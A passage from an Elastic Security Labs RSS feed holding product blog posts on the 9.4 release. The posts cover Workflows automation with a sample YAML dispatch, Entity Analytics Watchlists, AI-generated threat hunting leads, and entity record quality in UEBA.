<p>Today, <code>waitForInput</code> works through the Kibana execution view and the REST API. Slack, Teams, and email delivery channels are coming so analysts can review and approve without switching context. This is especially important for workflows defined as tools in Agent Builder, where agent-driven investigations benefit from human checkpoints before taking action.</p>
<h2>Building Workflows from natural language</h2>
<p>With the automation patterns in place, the next challenge is making them accessible. We chose YAML as the Workflow language because it's declarative, reviewable, and portable. But it was also a strategic choice: YAML is structured text, and large language models are very good at generating structured text. A well-typed workflow schema is an ideal target for AI-powered authoring. In 9.4, that bet pays off. Natural language authoring is available in Tech Preview.</p>
<p>Inside the Workflow editor, describe what should happen: &quot;When a malware alert fires, check the file hash against VirusTotal, create a high-severity case, attach the alert and observables, and notify the SOC channel.&quot; The AI assistant generates the YAML. You review, refine, and deploy.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image2.png" alt="" /><br />
The YAML is fully inspectable and editable. If you know what should happen but aren't a YAML expert, this gets you from intent to a working workflow. If you are a YAML expert, you can start in natural language and refine in the editor.</p>
<p>The authoring experience will keep evolving. Visual editing is a complementary mode. Authoring that extends into Slack and other tools your team uses. The goal is to meet security teams wherever they work.</p>
<h2>Composable Workflows</h2>
<p>As your automation library grows, organization becomes critical. Security automation gets complex fast. You start with a single triage workflow, then realize different alert types need different investigation steps. You add conditionals, then more conditionals, and suddenly your workflow is hundreds of lines with nested logic that's hard to follow and harder to change.</p>
<p><code>workflow.execute</code> lets you build reusable workflows with typed inputs and outputs. Instead of embedding all your investigation logic in one place, you create focused workflows for specific scenarios and compose them together. Update your malware investigation workflow once, and every workflow that calls it benefits. The logic stays organized, changes stay contained, and your automation scales without becoming brittle.</p>
<p>Here's what this looks like in practice. Classify the alert, then route to the specialized workflow based on the threat type:</p>
<pre><code>steps:
  - name: dispatch
    type: switch
    expression: &quot;{{ steps.classify.output.category }}&quot;
    cases:
      - match: malware
        steps:
          - name: run_malware
            type: workflow.execute
            with:
              workflow-id: ${{ consts.malware_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
      - match: phishing
        steps:
          - name: run_phishing
            type: workflow.execute
            with:
              workflow-id: ${{ consts.phishing_workflow_id }}
              inputs:
                alert: ${{ event.alerts[0] }}
    default:
      - name: run_generic
        type: workflow.execute
        with:
          workflow-id: ${{ consts.generic_triage_id }}
          inputs:
            alert: ${{ event.alerts[0] }}
</code></pre>
<p>Each workflow is independently testable. Most teams start with a single workflow and extract sub-workflows as patterns emerge. Composition is something you grow into.</p>
<p>The template library will eventually move into the product so you can discover and install pre-built workflows directly in Kibana.</p>
<h2>Where analysts already work</h2>
<p>Workflows are most useful when they're available where decisions get made. The primitives and patterns are in place, but automation only delivers value if analysts can reach it without switching tools. We're investing in making Workflows accessible throughout the security analyst experience, starting with the alerts table and Attack Discovery. Analysts can send alerts or entire attacks directly to a Workflow, triggering the investigation logic they've built without leaving their current context. This integration will continue expanding so that Workflow automation becomes a seamless part of the analyst's daily work, not a separate destination.</p>
<p>&quot;Run workflow&quot; in the alerts table lets you right-click an alert (or select multiple) and trigger a Workflow directly. The alert context passes automatically.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/image5.png" alt="" /></p>
<p>This is the beginning. Workflows will continue expanding into more parts of the security experience, making automation accessible where analysts need it.</p>
<h2>More control, more flexibility</h2>
<p>Beyond the major features, the Workflow language itself has become more capable. New flow control primitives give you cleaner ways to handle complex logic. <code>while</code> loops let you poll for conditions or wait for external state changes. <code>switch</code> provides multi-way branching so you can route alerts by category without nested conditionals. <code>loop.break</code> and <code>loop.continue</code> give you standard iteration control.</p>
<p>Step-level data transformation steps handle filtering, finding, aggregating, and JSON operations on collections, so you can process alert lists, IOC lookups, and enrichment responses without custom scripting.</p>
<p>The AI steps (<code>ai.prompt</code>, <code>ai.classify</code>, <code>ai.summarize</code>, <code>ai.agent</code>) are more stable and now support structured outputs, making it easier to use AI-generated classifications and summaries in downstream workflow logic.</p>
<p>LiquidJS templating expanded too. You can now set variables and access them throughout the workflow, making it easier to reference computed values across multiple steps.</p>
<h2>Reliability and production controls</h2>
<p>All of this is useful only if it's reliable. Every step supports <code>on-failure</code> configuration: retry for transient failures, continue when a step isn't critical, and abort when downstream steps depend on the result. Error details are available at <code>steps.&lt;step-id&gt;.error</code> to help route around failures.</p>
<p>Concurrency controls prevent alert storms from spawning hundreds of parallel executions. Loop guardrails prevent runaway execution. Composition depth limits prevent infinite recursion.</p>
<p>Elastic 9.4 introduces event-driven triggers, starting with <code>workflows.failed</code>. When a workflow execution fails, it can trigger a separate handler workflow. Build a notification workflow that alerts your team when automation goes down. More trigger types are coming: case status changes, alert state transitions, and detection rule updates, making Workflows reactive to what's happening across your security environment.</p>
<p>Every execution is recorded in execution history with step-by-step results, including analyst decisions from <code>waitForInput</code> steps. This is your debugging tool and your audit trail.</p>
<p>Workflows is enabled by default in 9.4 with an Enterprise license. Granular RBAC controls who creates, edits, executes, and views workflows. Every management operation writes to the security audit log. Import/export moves Workflows between environments with connector references intact.</p>
<h2>Licensing and pricing</h2>
<p>Workflows is available with an Enterprise license on Elastic Cloud Hosted and self-managed deployments, and with the Complete tier on Elastic Cloud Serverless for Security projects.</p>
<p>Version 9.4 introduces a unified execution-based pricing model across all deployment types.</p>
<p>Across Serverless, Elastic Cloud Hosted, and self-managed, pricing is based on workflow executions, with volume-based discounts at scale. <strong>Each month includes a baseline allocation of workflow executions that are not billed</strong>. Usage beyond this allocation is billed per execution, with volume-based discounts applied as usage increases.</p>
<p><strong>Elastic Cloud Serverless</strong> begins applying this model on May 1, 2026. Usage beyond the monthly non-billed executions is charged per execution, with discounts at higher volumes. <a href="https://www.elastic.co/fr/pricing/serverless-security">See full pricing details</a>.</p>
<p><strong>Elastic Cloud Hosted and self-managed</strong> deployments follow the same pricing model, <strong>but are currently in a promotional period</strong> with execution charges not yet applied. This allows teams to build and run Workflows, establish usage patterns, and prepare for the transition to execution-based billing in a future release.</p>
<p>Start building now. The Workflows you create today will continue to run as pricing transitions to the unified model.</p>
<h2>Getting started</h2>
<p>Workflows are enabled by default in 9.4. Open Kibana, navigate to Workflows, and start building.</p>
<p>If you're new to Workflows, the <a href="https://www.elastic.co/fr/security-labs/security-automation-with-elastic-workflows">Tech Preview post</a> walks through building your first triage Workflow. The <a href="https://www.elastic.co/fr/security-labs/speeding-apt-attack-discovery-confirmation-with-attack-discovery-workflows-and-agent-builder">Chrysalis APT workflow</a> shows Agent Builder integration in action. The <a href="https://www.elastic.co/fr/docs/explore-analyze/workflows">documentation</a> has the complete step type reference. The <a href="https://github.com/elastic/workflows">Elastic Workflow Library</a> has ready-to-use templates.</p>
<p>Start with the Workflow that would save your team the most time this week. If you can describe it, you can build it.</p>
<hr />
<p><em>The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.</em></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/elastic-workflows-ga-9-4/elastic-workflows-ga-9-4.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Know who to watch before the incident finds you]]></title>
            <link>https://www.elastic.co/fr/security-labs/entity-analytics-watchlists</link>
            <guid>entity-analytics-watchlists</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security v9.4 introduces Entity Analytics Watchlists, a way to codify what your team already knows about high-risk entities and feed that context directly into risk scoring, without custom pipelines or detection engineering overhead]]></description>
            <content:encoded><![CDATA[<p>Elastic Security v9.4 introduces Entity Analytics Watchlists, a new capability in the Entity Analytics suite that lets security teams create named, weighted lists of users, hosts, and services and feed that context directly into the platform's risk scoring pipeline. The gap this closes isn't awareness, as most security teams already know which entities deserve elevated scrutiny. The gap is that SIEMs have had no way to express that organizational knowledge as a risk signal. Watchlists do that without ES|QL, without pipeline configuration, and without a ticket to the detection engineering team.</p>
<h2>Your riskiest entities are already known; your SIEM just doesn't know that</h2>
<p>Security teams aren't starting from a blank slate. You already know certain people, hosts, and services deserve elevated scrutiny: the privileged admin whose access was never revoked after a role change, the engineer on a performance improvement plan, the acquired company's infrastructure not yet fully onboarded, the contractors brought in for a sensitive new business initiative.</p>
<p>The gap has never been awareness. The gap is that your security information and event management (SIEM) has no way to express that organizational knowledge as a first-class risk signal. Behavioral detection fires on anomalies. Threat intel fires on known bad indicators. But neither captures the <strong>context your security and HR teams carry in their heads,</strong> and that context is exactly what insider threat programs are built on.</p>
<table>
<thead>
<tr>
<th align="left">83% of organizations experienced at least one insider attack in the past year</th>
<th align="left">$17.4M average annual cost of insider threat incidents in 2025</th>
<th align="left">246 days average time to identify and contain a credentials-based breach</th>
</tr>
</thead>
</table>
<p>Mature user and entity behavior analytics (UEBA) platforms allow some form of static lists or risk multipliers, but they're often rigid, buried in configuration, and disconnected from the analyst workflow. Security teams deserve something better: a purpose-built, first-class feature that lets them codify what they already know about their environment and to have that knowledge dynamically influence every risk calculation in the platform.</p>
<h2>Introducing Entity Analytics Watchlists</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-watchlists/image2.png" alt="Watchlists panel" title="Dashboard titled “Entity analytics” with the Watchlists tab selected, showing a table of three watchlists (Privileged Users, Departing Employees, and Employee Extended Leave) with columns for number of entities, risk score weighting, source, last updated, and action icons. The page also includes controls for turning the feature on or off, clearing entity data, and creating a watchlist." /></p>
<p>Watchlists are a new capability in Elastic Security's Entity analytics suite, arriving in the v9.4 release. They let security teams create named, described, rule-driven, or manually curated lists of users, hosts, services, or other entities and to attach configurable risk score weightings to every entity on each list.</p>
<blockquote>
<p>Think of Entity Analytics Watchlists as the bridge between your organization's institutional knowledge and your security information and event management’s (SIEM's) risk engine. You already know who deserves a second look. Now your platform knows too.</p>
</blockquote>
<p>The term watchlist is a familiar concept in the industry, but Entity Analytics Watchlists go further. This isn't just a way to bookmark entities; it's a structured mechanism for injecting <strong>custom correlation factors</strong> directly into the risk scoring pipeline. Every entity that appears on a watchlist carries its membership as a weighted signal, compounded with alert activity, asset criticality, and behavioral anomalies to produce a single, prioritized risk score.</p>
<p>Take a concrete example: John Doe is a departing employee. He’s added to a &quot;Departing Employees&quot; Watchlist configured with an elevated risk weighting. He also owns a server on the &quot;Critical Infrastructure&quot; Watchlist. When John triggers an alert, for example, an unusual volume of file downloads, his risk score now compounds all three signals: the alert, the asset criticality, and both list memberships. The platform surfaces him far higher in the risk queue than it would for the same alert on an average employee. The analyst sees exactly why.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-watchlists/image1.png" alt="Risk panel" title="Two‑panel dashboard showing “Employee Extended Leave risk levels” on the left with five risk categories and their numeric ranges, and “Risk contributions” on the right with contexts and alerts for the entity “ronaldostiedemann,” including contribution values, alert dates, rule names, and associated entities." /></p>
<h2>The lists your security program already maintains</h2>
<p>Entity Analytics Watchlists are most powerful when they reflect the real-world risk categories your security, HR, and operations teams already track informally. Here are the most common starting points:</p>
<table>
<thead>
<tr>
<th align="left">🚪  Departing employees On notice, performance improvement plans (PIPs), or offboarding: elevated exfiltration risk, regardless of whether an alert has fired.</th>
<th align="left">🔑  Privileged access users Admins and service account holders whose actions carry outsized blast radius.</th>
<th align="left">👑  Crown jewel hosts Critical infrastructure, IP repositories, and financial systems demanding tighter scrutiny.</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><strong>🤝  Mergers and acquisitions / acquisition cohorts</strong> Newly onboarded entities where trust has not yet been fully established.</td>
<td align="left"><strong>🚀  High-risk business initiatives</strong> Teams in sensitive new ventures, requiring extra monitoring during critical phases.</td>
<td align="left"><strong>🛡️  Known-safe allow lists</strong> Dampen scores for verified low-risk entities, keeping analyst focus where it matters.</td>
</tr>
</tbody>
</table>
<h2>Custom correlation, finally, without the engineering overhead</h2>
<p>Historically, bringing organizational context into a SIEM risk model has required significant custom engineering: lookup tables, enrichment pipelines, detection rule overrides, and constant maintenance as personnel and asset inventories change. For most security teams, that overhead means it simply doesn't get done. We remove that barrier entirely.<br />
An insider threat analyst can create a &quot;Departing Employees&quot; list in minutes, add a risk weighting, and immediately see that context reflected in the entity risk queue. No Elasticsearch Query Language (ES|QL) required. No pipeline configuration. No ticket to the detection engineering team. The organizational knowledge that was previously locked in spreadsheets, HR systems, or informal team awareness is now a first-class signal in the platform.</p>
<p>This is the ability to build risk correlations factors that simply haven't been possible anywhere else in the market and to do it without requiring detection engineering expertise.</p>
<p>For more mature teams, our custom watchlists also integrate cleanly with automated population, meaning that lists can be kept automatically current as conditions change or through APIs. An HR integration that marks an employee as departing can trigger list membership automatically; when they're fully offboarded, they're removed. The signal stays fresh without manual upkeep.</p>
<h2>Coming in Elastic Security v9.4</h2>
<p>Entity Analytics Watchlists ship as a major roadmap item in the upcoming Elastic Security v9.4 release. They’re available to customers running Elastic Security with Entity analytics enabled.</p>
<p>If you're already using entity risk scoring and asset criticality, Entity Analytics Watchlists are the natural next step, layering your organization's operational context on top of the platform's behavioral and alert-based signals to produce the most accurate, prioritized risk picture possible.</p>
<p>We've heard from security teams across industries that this capability is one of the most anticipated additions to the UEBA toolkit. We can't wait to see what lists you build.</p>
<h2>Frequently Asked Questions</h2>
<p><strong>Q: How do I add organizational context to Elastic Security's risk scoring?</strong> A: In Elastic Security v9.4, you can inject organizational context into your risk scoring by utilizing Entity Analytics Watchlists, which allow you to ingest custom lists of high-value entities such as users, hosts, or services and assign them specific risk weightings. These watchlists function as dynamic correlation factors; when an entity on a watchlist appears in an alert, the system automatically compounds its risk score based on your pre-configured weights. This ensures that threats involving your most critical assets are prioritized instantly, transforming raw security data into an outcome-driven investigation queue that reflects your company's unique threat landscape.</p>
<p><strong>Q: How do I monitor high-risk employees in a SIEM without custom detection rules?</strong> A: Elastic Security Watchlists let you add entities like departing employees or privileged admins to a named list with an elevated risk weighting, with no ES|QL or pipeline configuration required. Their list membership is factored into risk scoring automatically alongside any alert activity.</p>
<p><strong>Q: How do insider threat programs integrate with SIEM risk scoring?</strong> A: Elastic Security's Entity Analytics Watchlists let insider threat and security operations teams codify existing risk knowledge — departing employees, privileged access holders, acquisition cohorts — and have that context automatically influence entity risk scores without requiring detection engineering involvement.</p>
<hr />
<p><em>Entity Analytics is available in Elastic Security. <a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics/watchlists">Learn more about Entity Analytics Watchlists and how the entity store governs user entities.</a></em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/entity-analytics-watchlists/entity-analytics-watchlists.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[AI-generated hunting leads: The hunt starts before you ask the question]]></title>
            <link>https://www.elastic.co/fr/security-labs/proactive-threat-hunting-ai-generated-leads</link>
            <guid>proactive-threat-hunting-ai-generated-leads</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Introducing AI-generated hunting leads, proactive, environment-aware threat hypotheses powered by Elastic Entity analytics and integrated AI reasoning.]]></description>
            <content:encoded><![CDATA[<p>Threat hunting has always been a human art; a practitioner staring at logs, forming a hypothesis, and patiently chasing it down. What if the hardest part of the hunt (knowing where to look) could be done for you, automatically, in milliseconds, and tuned specifically to your environment? This is where AI-generated hunting leads come in, allowing you to shift from reactive alerting to proactive defense with entity-centric, risk-based threat hunting tailored specifically to your environment's unique behavioral patterns.</p>
<h2>The hunting gap no one talks about</h2>
<p>Ask any threat hunter what slows them down, and you'll hear the same answer: it’s not the querying or the pivoting; it's the blank page. The moment before the hypothesis is formed. Most analysts know that somewhere in their telemetry there are patterns that signal compromise, lateral movement, or abuse; they just don’t know where to start.</p>
<p>Modern AI agents have a discovery problem: they’re brilliant at answering questions but useless if you don’t know what to ask. This &quot;curiosity gap&quot; traps security teams in a cycle of reactive hunting. Whether it’s waiting for a vendor threat intelligence report to drop, an alert to scream, or a CISO to grill the team during a QBR, the damage is often already done. While analysts wait for a hypothesis, AI-powered adversaries are moving at machine speed—widening an already dangerous window of opportunity.</p>
<p>The industry has tried to close this gap through detection rules, threat intel feeds, and user and entity behavior analytics (UEBA)  scoring. These are necessary, but they're static frames applied to a dynamic reality. A UEBA anomaly tells you something is unusual. It doesn't tell you why it matters in your environment today.</p>
<h3>The core problem</h3>
<p>Detection rules tell you what to look for that’s very specific. Threat intel tells you what others found. Neither one tells you what your environment is uniquely at risk for right now, because neither one actually knows your environment.</p>
<h2>Building the foundation: The entity store</h2>
<p>Solving the hunting gap required us to first solve a data problem. Hunting leads are only as effective as their context; and in security, context is the sum of everything true about an entity over time.</p>
<p>We built the Elastic entity store as a purpose-built ontology for exactly this. Unlike Elastic Common Schema (ECS), which captures the state of a field at event time, the entity store is a longitudinal record, a living profile of characteristics of every user, host, and service in your environment. It tracks four dimensions that matter for security reasoning:</p>
<pre><code class="language-javascript">// Entity Store Schema — Core Characteristics

entity.attributes // Who/what the entity IS
  mfa_enabled: false // From AWS integration
  privileged_groups: [&quot;Domain Admins&quot;] // From AD
  asset_criticality: &quot;high&quot;

entity.lifecycle // Temporal facts
  first_seen: &quot;2024-09-14T08:22:00Z&quot;
  last_active: &quot;2025-03-31T23:47:00Z&quot;
  dormancy_detected: true // Inactive 47 days, now active

entity.behavior // Anomalous signals (rolling window)
  brute_force_victim: true
  unusual_login_hours: true
  new_geo_access: &quot;DE&quot; // First access from Germany

entity.risk // Scored risk aggregation
  calculated_level: &quot;Critical&quot;
  score: 94.2
</code></pre>
<p>This schema isn’t just storage; it's also a reasoning substrate. Each field represents a signal that, in combination with others, tells a coherent story about an entity's current threat posture. A user who was dormant for 47 days, is now active outside business hours, logged in from a new country, and doesn't have multifactor authentication (MFA) is not just risky in isolation; that combination is a hunting lead.</p>
<h2>Reasoning over entity data</h2>
<p>With the entity store providing rich context, we built <a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics">Entity analytics AI-hunting leads</a>. These reasoning modules traverse entity profiles and correlate data across users and hosts to surface patterns that human analysts would find meaningful, if they had the time to look everywhere at once.</p>
<p>These AI-generated hunting leads are automatically surfaced on our Entity analytics home page, ingesting the entity store state to identify combinations that constitute a threat hypothesis. This isn't a simple rule match; it’s a narrative hypothesis grounded in your actual environment.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/image1.png" alt="Threat gap" title="Three-step diagram, showing entity store snapshots, cross-entity correlation, and hypothesis generation used to identify potential threat scenarios in an environment." /></p>
<h2>What makes this different</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/image2.png" alt="Alert dashboard" title="Dashboard titled Entity Analytics, showing high\‑severity alert cards for DataStore, Slack, and Zoom; entity risk level counts; recent anomaly scores with user listings; and a threat summary panel analyzing an alert volume spike for the DataStore service." /></p>
<p>Proactive hunting assistance tools are emerging across the industry. Many are useful tools, but they share a fundamental constraint: They reason over threat intelligence reported information plus event telemetry, not over accumulated entity knowledge.</p>
<p>The difference matters. A query-based approach can find events that match a pattern. An entity-aware approach can find entities that, given everything we know about them, are likely to be involved in something worth investigating. That's a fundamentally richer signal source, and it's one that gets sharper over time as entity history accumulates for what’s been missing in retrohunt features in modern security information and event management (SIEM).</p>
<h2>Hunting as a continuous discipline</h2>
<p>The promise of proactive security is stopping attackers before they reach their objective. Traditionally, the barrier has been analyst capacity. With the rise of AI-driven attacks, this is becoming an impossible task for humans alone.</p>
<p>Entity analytics AI-generated hunting leads don't replace hunters; they multiply them. A senior analyst no longer spends hours figuring out where to look. Instead, they start their shift with a prioritized set of hypotheses that the AI-generated hunting leads already curated. Their time is preserved for what only humans can do: validation, decision, escalation, and response.</p>
<h2>What's next</h2>
<p>Entity analytics AI-generated hunting leads are the first production expression of a broader capability roadmap: an Elastic Security that doesn't wait for you to ask a question. As Entity analytics matures, with expanded entity types such as tracking AI agents, the reasoning surface expands accordingly.</p>
<hr />
<p><em>Entity analytics is available in Elastic Security. <a href="https://www.elastic.co/fr/docs/solutions/security/advanced-entity-analytics/overview">Learn more about advanced entity analytics, AI-hunting leads and how the entity store governs user entities.</a></em></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/proactive-threat-hunting-ai-generated-leads/proactive-threat-hunting-ai-generated-leads.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Your UEBA is lying to you: Why entity record quality decides everything]]></title>
            <link>https://www.elastic.co/fr/security-labs/ueba-entity-record-quality-analytics</link>
            <guid>ueba-entity-record-quality-analytics</guid>
            <pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Most entity analytics systems are confidently wrong. They track users who do not exist, generate risk scores built on noise, and call it behavioral analytics. Learn why the entities records you don't create matter as much as the ones you do and how a confidence-tiered model changes the game.]]></description>
            <content:encoded><![CDATA[<p>There's an uncomfortable truth in security analytics that nobody talks about at conferences: The quality of your detections, alerts, and investigations is only as good as the entity records that represent the users, hosts, and services in your environment.</p>
<p>Not the machine learning models. Not the anomaly detection algorithms. Not the risk scoring engine. The <em>entities</em>: the foundations to teach your system about the data and protect it.</p>
<p>Get the entities wrong, and everything downstream is contaminated, including AI. Your baselines are fiction. Your risk scores are noise. Your analysts are chasing ghosts. And the worst part? Most user and entity behavior analytics (UEBA) implementations get the entities wrong from day one. This blog explains why the entities you <em>don't</em> create matter and how a confidence-tiered model helps.</p>
<p>A note on terminology before we go further: in this piece we’ll distinguish between the real-world thing — a person, a host, a service — and the entity record Elastic Security creates to represent it. The argument that follows is about which records are worth creating, not about which things exist. We’ll use “entity record” when the distinction matters.</p>
<h2>One username, hundreds of identities</h2>
<p>Consider the simplest possible approach to creating a user entity record: Take a <code>user.name</code> field from an event log and call it an entity. A username like <code>deploy</code> appears in your telemetry, so you create a <code>deploy</code> entity record and start building a behavioral baseline.</p>
<p>The problem is immediate and severe. That <code>deploy</code> username might exist on 200 servers. It might be used by 12 engineers and a continuous integration and continuous deployment (CI/CD) pipeline. The behavioral baseline you're building is a smoothie blended from hundreds of different machines, used by different people, for completely different purposes. The system is treating a string match as an identity, barely one step above random.</p>
<p>When this entity record inevitably generates elevated risk scores, analysts investigate, only to discover that the &quot;anomaly&quot; was just a different engineer using the same shared account in a slightly different way. Multiply this across every common username in a large environment and you've built a system that generates investigative busywork at industrial scale.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/risk-table.png" alt="" /></p>
<p>The opposite mistake: An empty dashboard</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/risk-dashboard.png" alt="" /></p>
<p>Some security vendors recognize the problem and swing to the other extreme. They decide (correctly, in principle) that only identity-provider-backed entity records are trustworthy enough for behavioral analytics. If you can't tie an entity record to an authoritative account in a directory like Okta, Entra ID, or Active Directory, don't create one at all.</p>
<p>The engineering reasoning is defensible. The product experience is catastrophic.</p>
<p>A customer rolls out endpoint agents across their fleet, opens the security analytics dashboard, and sees nothing. Zero entities. The feature looks broken. The SOC analyst has no idea why no users are showing up, and worse, has no visibility into the activity happening on those endpoints right now. A purist entity data model has produced a blind spot. </p>
<h2>The missing middle: Host-scoped identity</h2>
<p>Most vendors building UEBA have historically picked between two unsatisfying defaults, bare usernames that blend everyone into noise, or IdP-only entities that leave most deployments with nothing. But without explicit governance over which signals come from which source, the noise still leaks through.What's missing is a middle layer: entities derived from endpoint telemetry that are tightly scoped enough to be meaningful but carefully governed enough to avoid the noise problem.</p>
<p>The instinct might be to simply pair a username with a host and call it an entity record. But without guardrails, this just moves the noise problem down one level. <code>deploy</code> on <code>prod-web-03</code> is still five engineers' blended activity. <code>root</code> on a shared bastion host is still everyone and no one. You've reduced the blast radius from &quot;all servers&quot; to &quot;one server,&quot; but the behavioral baseline is still a fiction if the underlying account is shared, automated, or observed only through a failed brute-force attempt that never actually succeeded.</p>
<p>The real question isn't whether to create local host-scoped entity records. It's <em>which</em> host-scoped entity records are worth creating and with what governance over how they participate in risk scoring and identity resolution downstream.</p>
<h2>The Elastic approach: Two kinds of entities, governed differently</h2>
<p>One answer is to recognize that not all record sources are equal and to build that distinction into the architecture itself, governing how each record is created, enriched, scored, and resolved.</p>
<p>This is the approach Elastic Security takes. Instead of treating all entity records as interchangeable, the system draws a clear line between <strong>identity-provider-backed entities</strong> and <strong>endpoint-observed local host entities</strong> and governs each category differently under the hood.</p>
<p><strong>Identity-provider-backed entities</strong> are created only by authoritative identity systems: Okta, Entra ID, Google Workspace, Active Directory, and other identity-provider namespaces across identity and access management (IAM), cloud platforms, software as a service (SaaS), and privileged access management (PAM) systems. These entity records represent verified accounts in systems that own and manage those accounts. They get the full analytical treatment, that is, rich behavioral baselines, cross-platform enrichment from 120+ security integrations, and full participation in person-level risk scoring.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/entity-panel.png" alt="" /></p>
<p><strong>Endpoint-observed entities</strong> are created from endpoint telemetry: Your endpoint detection and response (EDR) agent observes <code>jdoe</code> active on a specific host and creates a host-scoped entity record tied to that local machine. These entity records are real and useful, but the system knows they carry less identity certainty, and it governs them accordingly. </p>
<p>Analysts don't need to think about any of this machinery. What they see is an entity store that's populated from day one with more accurate user entity records. The governance happens in the architecture so it doesn't have to happen in the analyst's head.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/entities.png" alt="" /></p>
<p>(An endpoint-observed entity for sarah.chen active on her corporate MacBook. The entity name (sarah.chen@CORP-MAC-SC-2024) uses the human-readable hostname for readability. The entity ID (user:sarah.chen@b92f1e3a-7d4c-4a8b-9f2e-1c3d5e7f9012@local) uses the machine's hardware UUID instead of its hostname — this is intentional. Hostnames change when a device is renamed or reimaged; the hardware UUID is permanent. The @local suffix identifies this as an endpoint-observed entity: it represents sarah.chen's activity on this specific machine, not sarah.chen as a verified identity across your organization.)</p>
<h2>From fragmented accounts to a Unified User Group. </h2>
<p>Even when you get entity record creation right, you’re still left with a fragmentation problem no amount of per-entity discipline can solve alone.</p>
<p>Consider John Doe in a large enterprise. He has an Okta account for SaaS access, an Entra ID account tied to his corporate laptop, and an Active Directory account for on-prem systems. Each is a legitimate, authoritative entity record by every standard described above, and yet they’re three separate records for the same human being, each with its own risk history, each generating signals in isolation.</p>
<p>When John’s Entra account shows a lateral movement indicator the same day his Okta account flags a suspicious login from an anomalous location, those signals may never connect. They exist as separate entities, investigated in isolation, by analysts who have no automated way to know they belong to the same person. The cross-surface campaign that entity analytics is supposed to catch hides in plain sight between identity providers.</p>
<p>Elastic Security solves this through automatic entity resolution: consolidating a user’s fragmented digital footprint across Okta, Entra ID, Active Directory, and more into a single unified identity. John Doe becomes a first-class citizen in the entity store: one primary record, all associated accounts grouped together, one aggregated risk score that reflects everything happening across every identity surface he touches. Resolution runs continuously as new integrations come online, without manual curation.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/ueba-entity-record-quality-analytics/entity-sources.png" alt="" /></p>
<p>In the image above, we've created one entity record per user account and grouped them together, so when an analyst reviews the record, all related identities appear in one place.</p>
<h2>What this changes for analysts</h2>
<p>For the security operations center (SOC) analyst working a 2 a.m. alerted by their Elastic agentic workflow, these two architectural decisions (confidence-tiered entity governance and unified identity resolution) change the investigation fundamentally.</p>
<p>Instead of opening four separate entity cards for the same person, they open one. Cross-provider risk signals are aggregated into a single score, and attack narratives that span identity systems are visible as narratives, not as disconnected data points buried in separate views.</p>
<p>Compare this to investigating a bare deploy entity record with a risk score of 70 that’s actually an artifact of 12 people’s blended activity across 200 servers. One investigation leads somewhere. The other erodes trust in the entire capability, which is the real cost of noisy entity records. Not just the false positive itself, but the analyst who learns to ignore entity risk scores entirely.</p>
<h2>The entities records you don't create</h2>
<p>Perhaps the most underappreciated aspect of entity analytics design is restraint. Every entity record you create has a cost: Compute for baselining, storage for history, analyst attention when it generates alerts, and potential for noise propagation into the broader analytical model.</p>
<p>The discipline to <em>not</em> create an entity record (to require a minimum evidence threshold) is what separates an entity analytics system that gets more useful over time from one that slowly drowns its operators in noise.</p>
<p>In practice, this means maintaining a configurable exclusion list for common service and shared accounts: <em>root</em>, <em>jenkins</em>, <em>deploy</em>, <em>postgres</em>, and others like them. These accounts exist on hundreds of machines, are used by automated processes and multiple humans interchangeably, and would produce baselines that mean nothing. Elastic Security ships a default list covering the most common offenders. Today the list operates at the username level — root is excluded uniformly regardless of which host it appears on — and is fixed. Future iterations will make it configurable, letting teams add their own environment-specific service accounts and, eventually, specify compound patterns that combine username and host. That would allow excluding root globally on shared infrastructure while still creating a host-scoped entity when that account appears on a personal workstation where the activity is attributable to a specific person. The architecture is already built for it: because endpoint-observed entities are keyed as <code>{user.name}@{host}</code>, compound rules are a coherent extension, not a redesign.</p>
<p>The higher-fidelity approach we've described directly mitigates the broader noise problem. When entity records are created from any username string in a log, your ML models end up baselining service accounts, typo'd logins, and shared kiosk accounts as if they were people — a 2 a.m. backup job looks anomalous against a human baseline, and a one-event typo'd login never accumulates enough data to baseline at all. When entity records are anchored to authoritative identity sources and resolved across their various login forms, the model learns patterns for actual humans doing actual work. Anomalies become meaningful because the baseline is meaningful.</p>
<p>The best entity analytics isn't the one that creates the most entities. It's the one that creates the <em>right</em> entities, governs them by what it actually knows about their source and scope, and builds its analytical investment proportionally. Everything else (risk scoring, behavioral baselines, entity resolution, anomaly detection, and AI skills) is downstream of that foundational decision. Get the entity records right, and the analytics follow. Get them wrong, and no amount of machine learning or AI can save you.</p>
